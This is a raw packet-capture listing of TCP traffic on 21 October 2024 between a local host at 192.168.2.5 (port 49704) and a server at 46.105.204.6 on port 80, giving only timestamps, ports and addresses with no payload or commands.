                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257210970 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257221937 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257235050 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257242918 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257263899 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257281065 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257626057 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257637978 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257648945 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257662058 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257679939 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257702112 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257915020 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257952929 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257965088 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.257994890 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.258002043 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.258013964 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.258038044 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.302192926 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306622028 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306678057 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306689024 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306701899 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306713104 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306725025 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306763887 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306802988 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306849957 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306922913 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306935072 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306946039 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306965113 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.306986094 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307308912 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307321072 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307331085 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307342052 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307368994 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307390928 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307678938 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307691097 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307704926 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307744980 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307750940 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307758093 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307769060 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307780027 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307790995 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307794094 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307813883 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.307831049 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345499992 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345525026 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345536947 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345549107 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345558882 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345572948 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345586061 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345594883 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345618010 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345632076 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345644951 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.345658064 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374207973 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374237061 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374248028 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374259949 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374273062 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374320030 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374355078 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374372959 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374385118 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374396086 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374428034 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374607086 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374619961 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374633074 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374644995 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374654055 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374686003 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.374993086 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.375045061 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.375047922 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.375061035 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.375072002 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.375098944 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.417541027 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.417560101 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.417568922 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.417623997 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.417684078 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.423846960 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.423871040 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.423882961 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.423893929 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.423906088 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.423917055 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.423947096 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.423955917 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424060106 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424072027 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424092054 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424104929 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424108982 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424118042 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424139977 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424550056 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424561977 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424573898 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424587965 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424602985 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424607038 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424639940 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.424650908 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.425091982 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.425183058 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.425198078 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.425210953 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.425223112 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.425225973 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.425245047 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462707996 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462733984 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462747097 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462758064 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462778091 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462776899 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462789059 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462800026 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462806940 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462811947 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462824106 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462837934 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462841988 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.462861061 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491564989 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491584063 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491590023 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491595030 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491600990 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491609097 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491767883 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491780996 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491791010 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491818905 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491836071 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491847038 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491857052 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491877079 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491877079 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491893053 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491904974 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491910934 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491940022 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.491946936 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.492693901 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.534874916 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.534893036 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.534904957 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.534991026 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.540781975 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.540817976 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.540827990 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.540839911 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.540877104 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.540900946 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.540934086 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.540954113 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.540966034 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.540987968 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541152954 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541198015 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541305065 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541317940 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541351080 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541353941 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541363955 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541377068 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541409016 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541692972 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541703939 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541713953 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541729927 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541738987 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541743994 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541757107 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.541788101 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.542263031 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.542275906 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.542287111 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.542321920 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.542329073 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.542346001 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.542367935 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.579752922 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.579775095 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.579782009 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.579787016 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.579793930 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.579798937 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.579804897 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.579816103 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.579932928 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.579972029 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.580131054 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.580142975 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.580153942 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.580171108 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.580199003 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.580343008 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.580981016 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.581022978 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608609915 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608633041 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608644009 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608653069 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608663082 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608673096 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608707905 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608751059 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608850956 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608864069 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608874083 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.608916998 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609055042 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609101057 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609215975 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609225988 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609236002 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609246969 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609258890 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609266043 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609283924 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609571934 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609590054 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609601021 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609612942 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609617949 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609626055 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609632969 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.609661102 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.651992083 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.652009010 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.652017117 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.652225971 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658052921 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658067942 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658077955 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658118010 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658122063 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658129930 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658142090 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658149004 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658194065 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658368111 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658380032 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658391953 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658404112 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658411026 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658442020 CEST4970480192.168.2.546.105.204.6
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658745050 CEST804970446.105.204.6192.168.2.5
                                                                                                                                                                                                                                                                  Oct 21, 2024 11:39:07.658756018 CEST804970446.105.204.6192.168.2.5
